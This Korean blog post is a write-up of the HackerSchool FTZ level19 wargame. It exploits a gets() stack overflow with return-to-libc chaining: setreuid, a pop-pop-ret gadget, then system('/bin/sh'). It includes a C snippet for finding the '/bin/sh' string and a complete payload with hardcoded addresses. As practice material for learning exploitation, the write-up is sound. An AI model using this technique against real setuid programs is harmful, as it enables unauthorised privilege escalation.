-->

[해커스쿨 FTZ] level19 풀이

FTZ level19 문제 확인

이번 문제 소스코드는 단 3줄인데 buf[20]을 선언 후 gets로 여태까지의 다른 문제들과는 확연한 차이가 있다. 바로 setreuid 함수가 사용되어있지 않다는 것이다.

 

 

입력값의 길이를 확인하고 있지 않으므로 RET을 덮어쓸 수 있고 쉘 또한 실행시킬 수 있지만, 아래 캡쳐 이미지에서 보는 바와 같이 setreuid가 걸려있지 않았기 때문에 쉘 실행 권한 id가 동일한 level19임을 알 수 있다. setreuid에 대해서는 [해커스쿨 FTZ] level11 풀이 에서 설명한 바 있다.

 

 

따라서, 이번 문제는 코드에는 없는 setreuid와 system('/bin/sh')를 직접 실행시켜주어야 하는 문제이다. 그리고 그러기 위해선 RTL(Return to Library)RTL Chaining이라는 것을 알아야한다. 여기선 따로 설명하지 않고, RTL과 RTL Chaining에 대해선 아래 포스팅에서 정리해놓았으므로 참고하면 좋을 것 같다.

 


RTL(Return to Library) Chaining 이란?

 

RTL(Return to Library) Chaining 이란?

역시 정리하지 않으면 잊어버리는 것이 사람인 것 같다. 나만 그럴수도... ROP 개념을 정리하는 와중에 먼저 RTL Chaning 부터 제대로 정리하자는 생각이 들어 여기에 정리한다. RTL(Return to Library) 이란 일단..

liveyourit.tistory.com

 

 

사실 직접 필요한 함수들의 실행이 포함되어있는 쉘코드를 생성해서 44바이트 뒤의 RET에 쉘코드 주소를 주어도 되지만 RTL이 뭔지도 자세히 알아볼 겸 RTL을 사용해서 풀기로 하였다.

 

 

FTZ level19 문제 해결

따라서 우리는 아래의 페이로드를 구성해주면 된다.

 

buf 
+ SFP 
+ setreuid() address 
+ PPR Gadget 
+ setreuid() argv[0] (3100)
+ setreuid() argv[1] (3100) 
+ system() address
+ dummy 
+ system() argv[0] ('/bin/sh')

 

위 페이로드를 구성하기 위해 필요한 것들을 하나하나 수집해보자.

 

 

buf와 ret 사이의 거리

sub 0x28, esp 를 하고있으므로 dummy값은 20바이트임을 알 수 있다. 따라서 buf (20) + dummy(20) + SFP (4) 이기 때문에 buf와 ret 사이의 거리는 44이다.

 

 

setreuid(), system() 주소

적당한 곳에 bp를 걸고 실행시킨 후 p 명령을 이용해서 setreuid와 system함수의 주소를 알아낸다.

 

 

system() 인자값 /bin/sh 문자열 위치 주소

/bin/sh 문자열 주소는 아래의 간단한 코드를 사용해서 찾아준다.

 

#include <stdio.h>
int main()
{
        long systemfunc=0x4203f2c0;
        while(memcmp((void*)systemfunc,"/bin/sh",8))
        {
                systemfunc++;
        }
        printf("0x%x\n",systemfunc);
        return 0;
}

 

system 함수 내부에서 /bin/sh 문자열을 찾아주는 코드이다.

 

 

PPR 가젯

PPR 가젯은 objdump를 사용해 attackme 바이너리 내부에서 찾아주었다. 

 

 

 

그럼 페이로드를 구성하기 위해 필요한 것들은 전부 알아내었다.

 

  • buf와 ret 사이의 거리 : 44바이트
  • setreuid 함수 주소 : 0x420d7920
  • PPR 가젯 주소 : 0x0804849d
  • setreuid 인자 3100 : 0xc1c
  • system 함수 주소 : 0x4203f2c0
  • /bin/sh 문자열 주소 : 0x42127ea4

 

FTZ level19 attackme exploit

위 정보들을 사용해서 다음과 같이 페이로드를 구상할 수 있다.

 

"\x90"*44 // buf+SFP
+"\x20\x79\x0d\x42" // setreuid() address  
+"\x9d\x84\x04\x08" // PPR Gadget address
+"\x1c\x0c\x00\x00" // setreuid() argv[0] (3100) 
+"\x1c\x0c\x00\x00" // setreuid() argv[1] (3100) 
+"\xc0\xf2\x03\x42" //system() address
+"\x41"*4 // dummy (system() RET)
+"\xa4\x7e\x12\x42" // system() argv[0] ('/bin/sh')

 

그럼, level20의 권한에서 쉘이 실행되고 level20의 비밀번호를 얻을 수 있게된다.

 

 

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level18 풀이  (0) 2020.02.15
[해커스쿨 FTZ] level17 풀이  (0) 2020.02.14
[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13

댓글

Designed by JB FACTORY